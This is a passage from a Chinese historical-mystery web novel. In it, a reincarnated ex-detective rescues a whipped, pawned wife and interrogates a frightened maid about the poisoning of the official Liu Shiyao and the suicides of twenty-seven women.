想及此,她免不得想起曾经做刑警,和队友们一起出警时候的日子。
只是她没想到,那晚之后,竟是他们最后的一次见面了。
当自己在挚友面前一枪崩了脑瓜的时候……她都不敢想象他们脸上的表情。
只记得声音是最后消失的。
叛徒笑兮兮地踩着她渐渐冷去的尸首,幸灾乐祸道:“瞧瞧,我还
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是第一次见有人把自己脑瓜子给开瓢的,啧啧,真狠。”
“不过没了她,对付你们,那就更容易了……也多亏我费了九牛二虎之力才取得这娘们的信任,嘁,还不是被老子耍得团团转……”
声音消失的尽头,赵疏玉恨不得立马坐起来给他一脚,再把他三刀六个洞给活刮了!
可再一次睁开眼,却发现自己已经身处异处了。
赵疏玉蹲下身时,脑海中如放电影一般将她庸庸碌碌的一生迅速放过,而再一睁眼,常青树的落叶在她眼前,缓缓随着风移动着,一切的场景似是那么迷离又是那么真实。
而她一直有个疑问。
她所处的世界,是真实的,是吗?
而她,又是怎么穿越进一个和她同名同姓的女子身体内,那原来的赵疏玉呢?她又去了哪里?
而抓原主的那些人,又是什么人?被她一发簪扎死的男人,又究竟是什么来历……?!
沈怀夕究竟知道了什么才会疯狂存钱,让安陵将自己赎回来,而她又怎么会最终出现在乱葬岗?口中还一直喋喋不休着[永远都出不去]这句话?
虎鸣又是帮刘世尧做了哪些事?这些事,和沈怀夕所知道的,所逼疯她的,是不是同一件事?
周氏夫妻离奇暴毙身亡,这其中又有什么玄机?
刘世尧之死嫁祸周玥,鞭挞周德,这看起来是一场致周家于死地的局,可是为什么,为什么要怎么做呢?
周氏,难道知道什么,周德对自己难道还有隐瞒?而对她所隐瞒的,难道就是一直逃不脱被追杀的命运?
这一桩桩一件件,太过巧合,看似错综复杂,离奇古怪,但一切似乎都有迹可循。
而这些错综复杂的丝线汇聚在袁群毅的身上,就十分说得通了。
李惟初虽没有明确告诉过她,但她知道,袁群毅此番前来是为了保刘世尧,却也不是全然为了刘世尧而来。
但是如今刘世尧却死了?
刘世尧在江南好好地活了三十多年,怎么他一来就突然中毒暴毙了?
可若说是他杀了刘世尧,又为什么好端端地从保护他,变成杀了他?
又为什么要嫁祸给周玥?
这其中究竟还隐藏着什么不为知晓的秘密?
袁群毅火急火燎地赶来江南,李惟初刻意避其锋芒又是为什么?
李惟初又隐瞒了她什么?
倏地,她的脑中闪过一个红木盒的身影。
她曾清楚地看见李惟初在看见那个小木盒之后翻天覆地的变化。
那之前明明他有些松动,隐隐有些放任自己去探查那二十七女自缢的案件,可在红木盒出现之后,他的态度就变得异常坚定,坚决不肯。
有问题。
一定有问题。
赵疏玉将白玉令牌从地上捡起,深呼了一口气,缓缓吐出。
疑问越来越多,而这些都是破案的关键。
她一个个解开这些疑问,真相自然大白!
可是在这之前,她得先去做一件非常重要的事情。
46. 房屋中的女子
夜空寂寥,偶尔从路边的草丛中传来几声动物咕咕的啼叫。
今天的夜好像格外地冷,赵疏玉走在空无一人寂静的大街上,忍不住往胸口揽了揽衣服,可惜她只简单地穿了一件红黑色劲装,肩上并无斗篷。
冷意似乎还在蔓延。
不过赵疏玉的心口中却是一片灼热。
她回想起下午的时候,那个被好几个壮汉拖走的女子。
她被拖走的时候,眼神中的光已经深深黯淡,无光无彩,更无一丝生机,只剩下浓重的妥协和深沉的无力。
而她即使身绑粗绳,却明明是有机会逃走的——如果没有被那几个男人似铜墙铁壁一样堵在她身前的话。
赵疏玉的手紧紧攥成一个拳头。
想起那个大肚便便的油腻男手中竟然就这么轻易地扼住一个女子的咽喉,令她孤苦飘零,无处可去,就觉得无比恶心与痛恨。
不知不觉间,她便已来到那个女子被拖走时所在的地方。
冰冷,坚硬的地面上杳无痕迹,就好像什么也没有发生过,一阵凉风吹过,吹起地上一片灰尘。
带去脏污的泥垢,却藏不住这地面上本来的腐烂。
赵疏玉望着这地面,格外的出神,可只失神片刹,她又立即回过神来。
如影虽然让她不要节外生枝,但她还是忍不住留意她被拖走的方向。
她抬头,望向不远处的树桠,挣扎崎岖,在泼墨般的画卷摆出诡异的姿势。
日落于西,女子逃跑时向东北的方向跑,而抓她的人是从西南的方位出现,而她被抓住后,那几个人将她往西南的位置拖走。
赵疏玉由东北方向而来,如今只需要往西南的方向深入,或许就一定会得到什么线索?
为了证明自己的这个猜测,她继续往西南方向深入而去。
越走里面,人烟房屋却莫名地多了起来。
而不平的地面上又呈现出两道拖痕。
不难猜测,女子显然已经放弃了所有求生的信念和希望,整个人瘫软在地,像个破布娃娃一样任人拖拽拉扯。
有了这一线索,赵疏玉更能确信,她离那女子越来越近了!
想着,她稳住心神,脚步往深处走去。
左邻右舍的屋中秉烛长灯,暖橘色的光调与漆黑冰冷的夜形成鲜明的对比。
“啪!”
鞭子抽在皮肤上血肉翻飞的声音划破空气,一声凄厉的叫声隐忍在暗黑的夜中。
“跑!老子让你跑!!”
“啪!”
又响起一阵鞭子甩过长夜在空气中爆破的声音。
“跑,跑啊!!你再怎么跑也逃不出老子的手掌心!”
赵疏玉心中一凛,这人的声音和下午那个喊着赏黄金的那人格外的像。
再一结合那男人手里的典妻契,赵疏玉心中想定,立马撒腿朝声音溯源追去。
而在那鞭子之下的女子,身上几乎体无完肤,激愤之下脸上也多出一道如刀疤一样的痕迹,从左眼下方一直斜到右嘴角,鲜血淋漓。
此时她颤抖地抱紧自己,将自己缩成一个小虾米,蜷缩在墙角里。
明明是早秋有些发凉,可她的身上却大汗淋漓,豆大晶莹的汗珠打湿了她的两边鬓发,唇齿间不停地颤栗。
“……我错了……错了……对不起……对不起……”
她的唇齿发白,血水从她的嘴角渗出。
可男人似乎还是不准备放过她,拿在手中的鞭子紧了又紧,他恶狠狠地盯着眼前遍体鳞伤的女子,眼神中竟泄出一丝满足。
“错了?”他又在空气中挥舞了一下皮鞭,而后重重地又抽在她身上。
“是吗?我怎么没听见?!”
“大点声!!”
“我……”她深吸一口气,颤抖的声线抽泣着,眸中蓄满了泪。
男人见她扭扭捏捏的样子,不满地拧了一下眉,紧了紧手中的鞭子,抬起手腕下一刻又要抡在女子的身上。
鞭子在空气中呼啸着犹如一头张着血口獠牙的恶龙,朝着女子的脖子噬咬而去,可剧痛未有来袭,恶龙的身上似乎多了重枷锁,它挣脱不开被紧紧掐住咽喉。
女子紧闭的双眼猛然睁开,朝困住恶龙的枷锁看去——关键时刻只见赵疏玉咬紧牙关,一手紧握昂立于空中的鞭子,向后死死拽去,一手抡起身旁的椅子,猛地朝男子的头上砸去。
一个不速之客的闯入,男子肉眼可见短暂的露出十分懵然不解的眼神,然而下一刻,他的手指立刻蜷在嘴里,似是想吹暗号。
赵疏玉并没有给他这个机会,她一脚踩上桌子,借着桌子的力,对准男子的嘴死死踹去。
她紧抿唇瓣,眸中燃起愤懑的烈焰。
男子被她一脚踹在地上,随着惯力在地上摩擦,随后重重地砸在墙上,嘴角渗血,手指无力颤抖地落在地上。
他强撑着身体,支起身,抬头望向这个一脚把自己踹到墙上的女子。
“你……你是何人!”
说话时他的嘴似乎都在隐隐作痛。
赵疏玉却浑然不理他,只慢慢走到他身前,十分矜贵地低了下头,沉声问他道:“她的典妻契,在哪里?”
男人觉得她简直是莫名其妙,无理取闹!
“凭什么啊!你以为你是谁啊?你有什么资格跟我这么说话!”
见她并没有露出什么神采,口中开始嘟嚷道:“还敢这么踹老子……”
说着,他抬起另一只手。
赵疏玉只是冷冷地看着他,十分贴心地告诉他:“你如果不想从此变成一个残废,我建议你最好不要把你的手指放进嘴里,试图吹出什么口哨声。”
这话中警告的意味分明,男人颇为忌惮地放下手,不过为了维护他的面子,他昂着头,恶狠狠地盯着她,“老子记住你了,你是哪家的女儿,敢不敢说出来让老子见识见识!”
“无家无处,是个孤女。”说罢,她蹲下身子,一把掐住他的下巴,“烂命一条,杀一个人,自然不需要那么多忌讳。”
此话一出,男人这才开始害怕起来,他眼睛瞪得老大,直直往后退却,却没退几步,身后就被一堵墙牢牢堵住。
他退无可退。
而他一直在不安分地乱动,眼神中露出无比的慌乱和紧张。
“我,我警告你啊!你敢杀我的话,我一定,一定让你生不如死……”
听此话,赵疏玉竟是噗嗤一声笑了出来。
她拍
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了拍男子的脸,问道:“你都已经死了,还怎么让我生不如死?”
说罢,她的余光忽然瞥到一旁瑟瑟发抖蜷在角落里的女子。
她很不悦地松开手,站起身抬脚又狠狠往他胸口上踹了一脚,这人直直被踹得昏了过去。
也不知他是被踹的,还是被吓得。
“哎……”
她叹了口气,扭头看向那个缩在角落里的女子。
直观地感受到女子脸上看起来颇为恐怖的伤痕,心灵上不免有些冲击到。
她企图安慰这个女子。
可手才刚伸了一半,那缩在角落里的女子竟然低低呜咽了一声。
赵疏玉似乎觉得这样太冒昧了,于是她撤回手,蹲在她身前,轻声细语道:“我知道你现在很疼,所以我带你去找郎中。好不好?”
女子并没有回答。
赵疏玉还在循循善诱:“你放心,我是来救你的,这个对你恶意殴打的人我一定会让他受到应有的惩罚。你相信我,好吗?”
那女子依旧没什么反应。
大大而又空洞的眼睛里蓄满了晶莹的泪水,呼之欲出,却又紧紧留在眼眶中。
“我……”
她才刚蹦出一句话,可她又不知怎的说不出话来,睁着一双眼睛死死盯着赵疏玉看。
这一次的目光中,总算有了些除空洞与呆滞之外的情绪。
害怕、
还有一丝焦急。
赵疏玉眼波潋滟,温柔沉静,如一滩清池般透彻明亮。
可女子却好像坠入惶恐的深渊,不住颤抖着。
她低声口齿不清地呓语着,赵疏玉也不知道她在说什么。
但她知道眼前的女子精神状态十分不稳定,她只好默默地盯着她,留心她下一步的动作。
女子呜咽一声,紧紧抱着自己的身体,眼中空洞呆滞,好像下午的那一次逃跑抽空了她所有的精神气,如今留下的只是一具空洞的躯壳。
她忽然撒开紧紧护住自己身体的手,猛地趴在地上用力扒拉着什么,似乎有什么东西嵌在地里一般,她要疯狂挖掘着,才能找到。
赵疏玉不解地拧了一下眉,她转头往窗外看了一眼。
不能再耽搁下去了!
她果断将女子和晕倒在地的男子一手拎一个,扛在肩上,很快消失在黑夜中。
她一个飞身跳到某个宅子的屋檐之上,随后“啪叽”一声,一个圆滚滚的肉球掉落在地面上。
“真重啊。”赵疏玉啧了一声。
随后她又亲自跳下去,一手攥紧女子的手腕。
赵疏玉怕自己万一疏忽,这女子的精神又不稳,唯恐出了什么事。
只好紧紧抓住她。
然而下一刻,思齐立刻出现在赵疏玉的面前。
一把闪烁着寒光的剑直直朝这个“不速之客”飞驰而来,而赵疏玉脚尖轻点地,一个转身绕开了她的攻击,随后又带着女子平地一转,旋转在空中时脚尖正好压在剑尖之上,借力一压,稳稳当当落地。
待思齐看清来人后,她果断收回了剑,不与她再战。
一双十分靓丽的桃花眼中射出两道冰冷的视线,“赵姑娘,你似乎忘记了本该值守的事情吧。”
47. 深入二十七女自缢案(1)^^……
赵疏玉略一沉吟,她回头看了一眼那个精神不稳定的女子,只见她如今绷直身子好似将头埋在地里,一双眼睛中露出慌乱害怕的目光,不住地往四周瞥。
赵疏玉尝试着放开她的手,女子定定地站在原地并没有什么太多的情绪。
看来……
是稳定很多了。
赵疏玉这才放心地回眸看向思齐。
她抬头看了一眼沉闷黑漆漆的天空,回道:“自是不敢忘记。不知如今是何时辰?”
“子时。”思齐面无表情地回她。
之后她又伸手指了指这地上的男子和站在赵疏玉身边的女子,问她道:“你这是要做什么?我们这可不是什么避难所,随便收留不干不净的人。”
赵疏玉回眸看了一眼女子,又低头看向那个被自己扔到地上的男子,只说了一句话,“这个女子是被典来的,典妻契就在这个男人的身上。”
“只是她的精神不是很稳定,身上大大小小又受了不轻的伤,所以……一时半会儿还问不出什么来。”
思齐不知听到什么赵疏玉说了什么,眼波微微一动,神色不似方才那般严肃不耐,反而有一丝动容。
她抬头盯向赵疏玉,“你想问什么?”
“这女子的典妻契在哪里。”
闻言,思齐微微一怔。
她看向赵疏玉的目光中多了一份不解与疑惑。
她以为赵疏玉发现了什么关于这些错综复杂案子的事情,没想到竟然就是轻飘飘的一句,‘这女子的典妻契在哪里?’
思齐不经意间动了一下眉心,问道:“你为什么要怎么做?”
赵疏玉抬头眯了眯眼。
月光朦胧,微弱的光芒钻过纷多的枝桠将光洒在赵疏玉的脸上,她轻轻吸了一口气。
“做事只求不问愧于天,不愧本心。”
说罢,一阵凉风吹来,赵疏玉的内心略一波动。
李惟初的一句问心无愧,与她不谋而合。
她朝思齐豪爽一笑,随后转身离开之前道:“帮我向你们殿下问好。县衙如今是是非之地,我并不安心将他们安置在县衙,是唯恐他们的事情被袁群毅知道些什么,使李惟初的境地更加雪上加霜……”
“我虽然不知道他为什么不肯查二十七女自缢案,但我想,他并非是我表面上看上去那样淡漠寡情……所以,他不能去做的事,我会去做,我也一定会还那二十七个女子一个真相。”
赵疏玉说完这句话之后就直接消失在了黑夜里,而思齐闻言却是良久的沉默。
肩上不知是被谁拍了一下,一回头,她猛地蹲下身子行礼。
“殿下。”
被称作殿下的女子目光一直停留在赵疏玉消失的方向,直到现在,她的目光仍没有离开半分。
“你听清楚她的话了?”
思齐微愣,她点头,“殿下也是听见了?”
一身红衣朱唇的女子的目光中流露出一丝怅然,她点了点头,脸上露出一抹不知什么情绪,总之,看起来十分沉重。
不过,那情绪中多出一份欣慰。
“你相信她吗?”
她突然问出这么一句没头没尾的话。
思齐首先是垂下头,而后她又抬起头,眼神中多了一丝肯定。
“她的话,不像是客套,也不是假话。”
闻言,殿下竟然也没有反驳,反倒十分神秘地道了一句:“她会救这一切……这个世界所有的希望,都在她的身上了。”
“可是,”思齐的脸上忽然涌上一抹为难和不满,“李惟初竟还如此的儿女情长,殿下真是对他太过宽和!”
她叹了一句,“这本是人之常情,他想必也是左右为难吧。”
思齐见殿下已经有了结论,她也不必再言说,于是她点了一下头后就退下了。
“思齐先去安顿这两个人。”
殿下略略低头看向这两个人,一个横在地上昏迷不醒,一个精神恍惚,呆呆地看向赵疏玉离开的方向。
脸上那道可怖的伤疤正缓缓流着鲜血。
殿下转头看向她脸上的伤痕时,也是不禁为之一怔,不过她还算淡定,脸上并未露出什么神色,“你这伤……还是该治一治。”
而这女子就像是听不见一样,只是呆呆地看了殿下一眼,目光并未聚焦。
见她没有回应,殿下也并没有说什么,她或许也并不需要她给出什么回应。
只是吩咐思齐道:“将她安排一下吧,东西厢房空出来的一间房给她先暂且住下吧。”
“是。”
赵疏玉赶到刘宅时,只见一应守卫和袁群毅的眼线一概都不见踪迹。
她心中不禁跳空一拍,这才发觉李惟初口中的‘殿下’究竟是一个什么样的人物。
竟能凭空让白日里守卫森严的刘宅,如今竟是一个人都没有。
她来不及去想这些守卫究竟去了哪里,她抬步就往府里走去。
大门虽是一个人也没有,但为了保险起见,赵疏玉还是翻身墙头而入。
只是她没想到,自己刚从墙头跳下来,底下瞬间就发出一声尖叫。
“啊——唔!”
赵疏玉下意识立马掐住这声音的源头。
她紧紧捂住发出这声音女子的嘴,贴在她耳边耐心安抚道:“我不是什么坏人,你不用害怕。”
她差点就脱口而出一句,“我是警察。”
还好憋住了。
她用眼神示意这女子不要再尖叫,柔声安抚道:“我待会儿会松开手,但是你不要尖叫,可以吗?”
“……唔唔!”她并没有挣扎的动作,眼神反而有些惊恐,好似被看到什么不该看到的东西一般十分惊慌失措。
赵疏玉自然是没有错过她眼神中的惊慌失措,只一瞬她便明白了什么。
今夜守卫不翼而飞,对她来说是好事,但对里面的人来说也是好事。
她脑中念头一转,看向这女子的眸光不禁加深,问道:“这么晚,你站在墙角底下做什么?”
果不其然!
这一问女子竟很奇怪地颤抖起来,赵疏玉离她很近,故而连她狂跳心跳声都能听见。
“你在害怕什么?”
女子疯狂摇头,赵疏玉在这时撤开手,那女子的眼中闪烁着惊恐地眸光,随后转身撒腿就跑。
赵疏玉看着她逃跑的方向,倒也没有立刻追上去,反而是观察着她逃跑的路线,在她身后不紧不慢地跟着她。
这女子跑进一间屋子,立马将门拴起来。
她脸色苍白,捂着胸口一屁股坐到地上。
她是谁!
她怎么会来这里!
“啪”——地一声,身后的门被一脚踹开,女子一震,在地上滚了好几个圈。
一番尘土卷起,迷蒙中勾勒出赵疏玉的轮廓。
她一脚踏进房屋,毫不手软地将地上的女子提溜起来,一边拽着她,一边点燃桌上的烛火。
“说说吧,这是什么地方?”说着,她又紧了紧手中的衣领,似是在警告她不要说谎。
“不要对我说谎。”
方才没有挣扎乱动的女子,如今却是十分挣扎起来,她整个人从头到尾都往外散发着一股反抗的意味。
“说话。”她的声音似含了冰霜,眼神罕见地冷了下来,看向她的目光中不含一丝情绪。
她似乎是被赵疏玉这幅样子吓到,瑟缩了一下后,她呜咽一声,很反常地捂住头,痛苦道:“不是我……我没有害她……不是我,不是我!”
若说前一刻她还在疑惑赵疏玉的来头是什么,如今她也可断定。
她一定是为了周玥的事情而来!
可是她只猜对了一半,赵疏玉并不是只为了周玥的事情而来。
她更要探求那二十七女自缢的真相。
但她有预感,她今日或许能够在她的口中知道些什么。
“怎么?你很心虚啊?”
赵疏玉反问道。
她却摇头,整个人冷汗涔涔,“不是,不是的……玥姐姐没有,我,我也没有!我也不知道为什么端了一碗汤药上去刘老爷就死了,我不知道,我什么都不知道!”
赵疏玉敏锐地嗅到什么阴谋,问道:“所以你端了什么汤药给刘老爷?”
“养生壮阳阿胶汤。”
她瑟缩了一下身子,“每晚,每晚老爷喝了养生壮阳阿胶汤才会入睡……我们也一刻不敢耽搁,琳姐姐就是因为端汤时晚了一秒才……才死的!”
“我不想死,我不想被刘老爷杖毙……我,我也不知道这汤里有毒,我不知道,不知道……”
“汤里有毒?”赵疏玉拧了一下眉,她问道,“这毒是周玥下的?”
女子先是摇了摇头,后又点了点头,前后矛盾,她也不清楚地回道:“不知道,
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我真的不知道,我真的什么都不知道!”
说罢,她的目光中忽然多了乞求的意味,腿一软差点就要跪下,好在赵疏玉提溜住她的衣领,她才没有真的跪下来。
可是严重的一汪泪泉再也憋不住,整个倾泻而来。
“女侠,女侠姐姐,我求求你放过我……我没有杀人,我也没有害人……我家中还有弟弟,家里不能没了我……我死了我全家就完了,女侠姐姐我求求你饶了我,我给你磕头,我给你请罪,我求你饶我一命啊!”
赵疏玉张了张口,很想打断她,可她说话的语速又快又急,一时间竟不知道要从何处开始止起。
“好了,我没说要你的命。”赵疏玉有些头痛。
一个两个的,怎么都这么爱哭呢。
不过赵疏玉也确实拿这些爱哭鬼们无可奈何。
一听她说不杀自己,她的整个眼睛都亮了,可仅一瞬,她的眸光又瞬间暗淡下去。
赵疏玉不解地看向她这一奇怪的变化,不禁有些好奇,揶揄地问道:“怎么?不被杀还不高兴?看来死不死的,你并不在意?”
“不!不是的!”女子黯淡下眸光,“在意,我在意!只是我想起在府中那么多枉死的姐妹们,我……”说着,她忽然有些哽咽。
不过她很快调整好了情绪,谢道:“多谢女侠姐姐的不杀之恩,白芷无以为报。”
赵疏玉眯了下眼,又紧了紧她的后脖颈,“可是我有说要放你走吗?”
白芷的脸色一白,她十分警惕地抬头看向赵疏玉,似乎想从她的脸上找出任何一丝玩笑的意味。
可是赵疏玉的脸色自始至终都没有变化。
白芷根本看不出来一丝一毫,只好放弃。
见赵疏玉仍紧紧抓住她的后脖颈不松手,她忽然泄了气,好言好语道:“女侠姐姐今夜忽闯刘宅的事情,我断断不会说出去一个字,女侠姐姐尽管放心。”
“是吗?”赵疏玉听到这句话后,脸上忽然多了一抹很奇异的笑意,“可是我只知道,只有死人的嘴巴才是最牢的。”
闻言,白芷的脸色又是一白,如今可以说是白无可白,惨白无比。
还是要杀了她吗?她还是逃不出被杀的命运吗?
她像一个泄了气的皮球,整个人萎了一般,她垂下眸,眸中不知藏匿着多少的情绪。
即使她人微言轻,在这世间也是可有可无的存在,任人欺凌,无可逃脱。
只是……就算她再渺小,在她的命运被别人死死攥在手里的时候,她只有无可奈何。
往日小姐妹死的时候,她或许兔死狐悲,会感同身受地感受到悲催,可真正轮到了自己的这一天……
她还是……
“女侠姐姐,我有什么办法可以活下去吗?”
她竟然很天真地抬头看着赵疏玉。
她真的很想活。
可是她忽然也找不出想活的理由。
可能就是……
不想死吧。
不想这么早死。
她才十七岁。
赵疏玉听到这话时,也是不可置信地看向她。
向来她抓罪犯,就没听过罪犯说过一句,“能不能不要给我执行死刑,可以放我出狱吗?”
虽然,白芷并不是罪犯。
赵疏玉的嘴角竟无意识地弯了一下,白芷自然没有错过她的表情。
她自从一开始就牢牢紧紧地盯着赵疏玉。
白芷抬头瞧见赵疏玉的嘴唇正一张一合:“这个时候,你不应该问我‘你可不可以让我活下去’,而是‘我做什么才能使自己活下去’。”
“你的生命当握在你自己的手中,谁人都不可以肆意轻狂地夺走你的生命,明白吗?”
白芷垂眸。
可是她并没有这个决定自己存活的权利。
她的生命,似乎从出生的那一刻就已经决定好了。
母亲的离世,父亲的再娶,弟弟的诞生,与她被变卖换钱之后的苦难。
她的命都握在刘世尧的手里。
而她的一辈子,沦为主家的奴婢,又或是典当的玩物,她什么时候可以决定自己的命运了?
而她脸色的变化,正被赵疏玉一点一滴地看在眼里。
“我现在需要你告诉我那晚发生的全过程。”
根据她对白芷迄今为止的观察,她敢确信,白芷一定是知道什么内情的人。
48. 深入二十七女自缢案(2)^^……
“我说了,你就会放我走,是不是?”她的眸光依旧很畏惧地看向这个抓住自己后脖颈的人,但她的言语之间却并不遑多让。
学得倒是挺快。
赵疏玉只不过方才稍稍提点了她一些,现在竟然就这么水灵灵得举一反三了?
她一挑眉,笑道:“这就要看你说的东西值不值钱了~”
白芷脸色一变,如今自己变如同是被捏住后脖颈的猫,完全丧失任何反抗的实力。
不过……
白芷悄悄观察了她一眼,心觉此人或许可以相信。
于是便开始坐地起价,“二两白银,我告诉你那夜发生的所有事情。”
赵疏玉将信将疑地看向她,看着她认真讲价的脸庞竟然觉得她有点……过于单纯?
她试图将这位被捏住后脖颈的猫,处于弱势的情景再跟她强调一遍。
“似乎,你并没有跟我谈条件讲价的资格。”
她的嘴忽然瘪了下来,眼神软了一点,语气中也带着点乞求的意味,“那就一两半,行不行?”
赵疏玉再次一挑眉,她抬起眼不去看她眼中的乞求,只是轻轻答应她道:“成交。”
一听到她松口,一抹目的达成的窃喜在眼中一闪而过,随后她便收起笑容,认真娓娓道来:“那夜本该是由我给刘少爷递阿胶汤,可是不知怎的,玥姐姐竟抢在我前头,将那碗汤给送去了……”
说着,她的脸色一白,“可是不知道为什么,屋里头传来刘少爷的一声尖叫,再然后……刘少爷的口鼻出血,躺在一片血泊之中。”
听着她的话,赵疏玉不禁蹙起眉头,忽然问了她一个问题,“刘世尧是怎么死的,你知道吗?”
白芷遗憾地摇摇头,脸色有些苍白,明显是有些恐惧,“我并不知道……死人这样的事情那么可怕,我才不想看他是怎么死的。”
“所以你说你没有害玥姐姐,是因为你也不知道为什么在周玥给刘世尧端上汤之后,他就突然暴毙了,是吗?”
听到这句话,白芷有一瞬间慌神,她立刻摇摇头,慌乱摇手道:“我不知道,我没有在汤里放任何毒药!我真的不知道!”
“你不用慌,我只是来问你情况而已,并没有指证你是凶手。”
听到这句话,白芷一颗焦躁乱跳的心脏才缓缓落肚。
她明显松了一口气,“那就好……”
“从前府中可从没人敢忤逆刘少爷。”她好像是想到了什么,抖了一下,“毕竟忤逆刘少爷的下场是很恐怖的……”
赵疏玉静静地看着她,耐心地听着她接下来讲的话。
但是她并没有讲是怎么恐怖的法,而是话锋一转道:“那天晚上袁巡抚就来了呢,抓了好些人走,审问拷打,直到天快亮了才把玥姐姐带走呢!”
白芷的脸上同时出现气恼和害怕的情绪。
赵疏玉听到她说这话,心不禁一沉。
袁巡抚竟敢这么明目张胆地在所有人面前对周玥动刑,罔顾王法!
他背后究竟仗着谁的势,竟敢这么无法无天?
不禁惹起赵疏玉对他身后之人的兴趣。
白芷又讲了些,只是都是一些无关紧要,不轻不重的话,话中的主观意识又很强,所以基本没有什么参考的必要。
于是在白芷话音刚落,赵疏玉便立刻问出心中疑问,“这里就是刘世尧死的地方吗?”
白芷一顿,之后她点点头,“是。”
赵疏玉问了她一个很隐蔽的问题,“在那么危急的时候,你为什么会选择跑到这里来?”
白芷垂眸,睫翼微颤,可怜兮兮地道:“这里是被袁巡抚下了重令的——无关人员不可踏足此地一步,否则与杀人者同罪。”
赵疏玉的眸色晦暗不明,意味深长地道:“所以你以为我不敢踏足这个地方?”
白芷嗯了一声,她点点头。
谁知道她会连袁巡抚的指令都不怕啊!
“可是你也闯进来了啊。”赵疏玉指了指这里,道,“如果我违反了袁巡抚的命令,那我们应该是同罪才是。”
白芷的眼中闪过一丝不明的情绪。
“可是。”赵疏玉将袖中一直藏着的令牌亮出来,展示给白芷看道,“这块令牌是我临走时李县令给我的。”
“若有一日东窗事发,我也可以以‘例行公事’为由逃脱追责,可是你……”
赵疏玉看向的目光中多了一份考量,“你是私自闯入,该是死罪。”
这般一吓,白芷被恐吓地腿一软,直直跪在地上。
额头渗出涔涔冷汗,整个脸上的神情十分惊惶,她慌乱地抱住赵疏玉的腿,保证道:“女侠,不是,大人,我不会说的,今晚的事情我一个字都不会说,你放心,大人……”
她越说到后头,声音颤抖地越厉害。
赵疏玉将魂魄都快要吓飞的白芷轻轻扶起,亲昵地帮她拨了一下两鬓浸湿的碎发,轻轻吐气道:“我现在问你几个问题,你也不会说出去的,对吗?”
白芷惨白着一张脸,认命地点头。
“是。”
赵疏玉这才放心地朝她轻点了一下头,“好,我相信你。”
“第一个问题,刘世尧被毒杀的现场是不是已经被人打扫过了?”
赵疏玉在得知这里就是刘世尧中毒而死的第一现场后,依着职业习惯,立刻重新又扫了一遍周围的环境。
地上莫说血迹,那便是连一粒灰尘都没有。
看起来就是被人十分精心地打扫过,目的就是为了隐藏任何可能被发现的蛛丝马迹。
而越想隐藏什么,埋藏在底下的秘密就越蹊跷,就越能说明凶手是周玥是有问题的。
那么着急地想给周玥定罪,也定是为了帮真正的凶手脱罪,而周玥就是他们这场谋杀的替罪羊。
而周德着急上县衙讨公道,说得好听一点是关心则乱,被揣测得深一些,或许就能造谣成做贼心虚。
好在袁群毅还没有想到这一层,还将周德痛打一顿,否则此事才叫难办。
赵疏玉收回思绪,问白芷第二个问题,“第二个问题,刘世尧死在哪里?”
这么问实际上是有原因的。
因为白芷说是听到刘世尧尖叫一声,那么在床上尖叫的可能性就不大。
床上有枕头,周玥若真是下毒凶手,她一定会选择用枕头捂住刘世尧的连,应该防止他叫出声弄出动静来才是。
可是周玥竟然任由他痛苦尖叫?
这不是等人上门把她抓起来,跟自首有
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什么区别?
所以刘世尧绝不可能是在床上死的。
况且……
赵疏玉的眼睛定格在刘世尧皱巴巴的床单和床被上。
她走近端详。
床单上只有几道用力的抓痕,留下了皱皱巴巴的印子而已,并没有血迹。
而且抓痕是向外的。
如果是睡在床上,那么抓痕就是朝里的。
所以赵疏玉就可以完全排除刘世尧死后的第一现场是在床上。
那么既然不是在床上。
这个屋子的空间就这么大,不在床上,就只能在地上。
赵疏玉又将目光看向其他地方。
布局很简单,屏风将内室和外室隔开,靠近屏风的地上好像还留下什么被重物砸过的痕迹,留下一个不轻不重的小坑。
外室里一张小桌子,桌子上摆放一个香炉,旁边摆满了书架。
和李惟初书房的布局很像。
几乎没什么区别。
唯一的区别就是李惟初的书房里全是书架子,书架上摆满了各种各样,种类各异快被翻烂的古书,整间屋子都快要被书吞没,沦为书的海洋。
而刘世尧的外室,书架似乎就是一个摆设,上面的书十分整洁干净,似乎没有翻动过的痕迹。
趁巧此时白芷开口说道:“我不知道。”
她摇摇头,面露恐惧,“在听到刘少爷尖叫后,我们都退得远远的,谁也不敢靠近半步。”
赵疏玉的眼睛在屋中转了一圈后蹙起眉,看来她是真不知道刘世尧是死在哪里。
这件事,或许就只有在第一现场的周玥知道了。
她思索着。
看来还得去狱中找一趟周玥。
心中敲定主意之后,她收回思绪,问了白芷最后一个问题。
也是她此次前来这里的目的之一。
“你认识婉华吗?”
听到这个名字,白芷微抿了一下嘴,似乎连反应都不反应,直接矢口否认,“不!我从没见过什么婉华,我也不认识她!”
可这一句话一听就知道不是真话。
赵疏玉十分喜欢在问讯的时候留意嫌疑犯的微表情,一个人的言语或许会有谎言。
可是潜意识里的微表情是一定不会说谎的。
而当赵疏玉在问到白芷认不认识婉华时,她的脸浅浅低了下去,似乎是不愿意提起,也不愿意听见这个人的名字。
脸上的神色也是微微一变。
这种变动极微小,可是赵疏玉却将这一切尽收眼底。
她眼神微眯,看向白芷的目光更加深了一分。
看来白芷似乎知道的还不少呢。
“不认识她吗?”
赵疏玉又重复了一遍这个问题。
白芷的嘴唇又是一抿,轻捏大腿两侧衣袖,在她做好再回答一次‘不认识’的时候,赵疏玉竟然微微一笑,摆了摆手,“我知道了。”
她意味不明地朝白芷一笑。
这样令人捉摸不透的态度令白芷的心下十分没底。
在赵疏玉转身继续去搜寻线索之时,她抬起一直低垂着的脑袋,一双眼睛直直,一览无余地凝视着看向她。
这个女子,心里究竟在想些什么!
49. 深入二十七女自缢案(3)^^……
而白芷并没有再看下去。
眼前这个女人固然危险,但至少不会像刘世尧般,毫不讲理地非杀即打。
可是她没想到,赵疏玉竟然回头,问了她一个她问题。
“奇怪,这里也未免太光滑亮丽了些。”
与其说是在问她,不如说她是在自言自语,默默揣测。
白芷也伸了个头趴过去看,只是并没有觉得有什么异常,反而说道:“这地面每日都有人来专门打扫,本不该就是光滑亮丽才好吗?”
赵疏玉却否认,她摇摇头,说道:“话虽如此,只不过人已死,还有什么每日打扫的必要吗?若他没有子嗣,他的所有财产不过都为泡影,所得一切皆充盈国库。”
“如此,这一切,又有何意义呢?”
闻言,白芷低下头,似乎也在认真思考。
“或许……是他人虽死了,余威犹在呢?”
赵疏玉往旁边看了一眼她,回道:“你也觉得这个理由十分牵强对吗?”
白芷低下头,不言语。
说实话,对于刘世尧已死这个消息,她到现在都还有些恍惚。
一时间紧张忙碌的刘府,一夕之间人仰马翻,冷僻孤寂。
